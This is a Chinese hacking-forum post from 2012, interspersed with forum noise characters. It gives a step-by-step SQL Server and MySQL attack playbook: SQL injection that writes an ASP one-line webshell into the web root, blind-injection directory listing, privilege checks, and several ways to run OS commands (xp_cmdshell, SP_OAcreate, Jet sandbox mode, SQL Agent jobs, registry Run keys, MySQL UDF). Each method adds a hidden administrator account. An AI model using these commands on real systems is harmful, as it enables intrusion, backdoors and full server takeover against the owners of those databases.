找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2959|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马
) Z" d% z* W. |& l2 d- i首先确定网站的WEB路径
$ p0 y0 {  ?' H% Z4 r;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马8 q* u) f# I2 ]3 w/ k
& a. L/ t# c6 _, l: b: |7 ~
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- 5 s- }* e  q; w. Q
//将一句话木马插入表中" j. p2 X  D. v: L0 B3 z
& |+ A) S8 v7 {: C- y  o- `
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- 8 F6 ]2 J- E+ u( G! \4 O7 w  \. ]
//导出一个ASP文件. D( R! u  D7 T9 K, u3 N

! e* i4 [# B* |# e/ r; r* n! V3 U) ^6 Z. k
关于MSSQL列目录. T! }8 ?$ f' n1 K7 U. ~1 C
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表4 a& a/ F2 o. R# L! {
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
9 Z, S: @" r' q7 c7 \7 U5 W1 n6 G6 K: T: e) _7 u2 h. O4 X
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录' j1 c( x" ?9 K  \
% ^  c7 i/ a# \4 p9 L' F  a
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
' w/ M0 X) v( y# H/ N7 S
8 n3 O+ I% X. ]. A: p) \, MAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符- Y& F' k* k9 x
3 r! o8 k+ `- |1 `9 B1 B
# c! H$ ]1 l2 X; e  u
数据库版本和权限查看
" T1 {; [+ J/ E* l3 Y& ]; Yand 1=(select @@VERSION) //查看详细的数据库信息.! _- a( `0 O. `, \0 f
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
) V+ w9 ^' T( W: B7 wand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
3 ?# b+ S. y' A  l
# v! H; s% L% ~" @# s( p" y4 C2 ]7 G; y4 H& E! m2 t* }
1.利用xp_cmdshell执行命令6 X2 Q% W# }% a( s% k% l; N
exec master..xp_cmdshell 'net user rfire 123456 /add'
' y+ z; d  V0 Cexec master..xp_cmdshell 'net localgroup administrators rfire /add'
: g( L; Z" K, ?' e8 `$ X* s. v% x# r* D/ A) E* i  u
恢复xp_cmdshell存储过程9 E. I" ]: h2 b0 a
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'8 I! D0 i4 f# O8 L3 e
" _3 J1 d1 e6 e2 L8 m- u6 r

) v4 _! I  v( ?2.利用SP_OAcreate和SP_OAMETHOD执行命令$ b/ F, ~- U( ^4 n' Y
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
, A7 @; d1 K) e& e, M& O8 c4 wDECLARE @shell INT //建立一个@shell实体
- |( I, J; L# s% Q0 _2 WEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
+ K1 e7 ^4 }9 m. P8 WEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
7 A: v" t( @6 n  \3 n. S0 D6 X7 W/ W  J
* W" w. h; B/ q; x
3.利用沙盒模式4 w3 _, M6 k# {) `% l# S
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
% P' M& U! w. L+ ?开启沙盒模式:
3 R5 r" |: z/ MEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',04 _- M, c& l- k
+ d8 M7 E5 u: ~+ X% H1 c  F$ {
执行命令:
$ k. b$ Q2 z9 b0 E% SSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
" |% M2 e+ C, M% u0 v4 ^, E
1 K. N9 G* D8 h$ R" R5 h3 h
9 _: j6 e: q6 M0 ^; u- G( o4.利用SQL代理执行命令
4 g5 s3 N% d/ G! N+ j. N# N$ iEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务, m6 `9 T% |& m7 k# u, X( Y
( e# \; L5 j5 R% R0 l7 d
执行命令:8 S" b; k  A* P, Q
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
: T  a5 s: J* C6 C" B, |exec sp_add_job 'x'3 y, H9 {/ S1 S0 n- x$ ^
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业! {! M: L3 V# x) e: I
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
) h) Y9 E3 P) e) G2 f7 |5 E. r4 I4 `" A2 _; e$ }

; j, @8 N: }2 L5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)- D8 C( I' m, }# S6 o# M; u
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
! W; j- E4 S4 {" J4 F% X5 y/ r3 M) K. m7 V& h* }
4 T& ?( K" g+ G5 `/ s
6.MYSQL的命令执行
0 K4 ^5 n1 [) |: Z0 d5 T6 ]MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
" [+ A$ {5 t0 J首先要在su.php下导出c:\windows\udf.dll
9 v. s1 D3 S4 O5 E& [# p9 I1 R+ D导出后执行创建自定义函数命令:6 W* b8 X: w; U8 c
Create Function cmdshell returns string soname 'udf.dll'( t/ T( W. C' R& v8 p& ]
执行命令( i( H% t2 z5 n) T4 R2 [
select cmdshell('net user rfire 123456 /add')0 ~; f2 R. Z# @; W# d
执行后删除函数 drop function cmdshell
. A3 z9 Y  }4 |7 H' s( d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表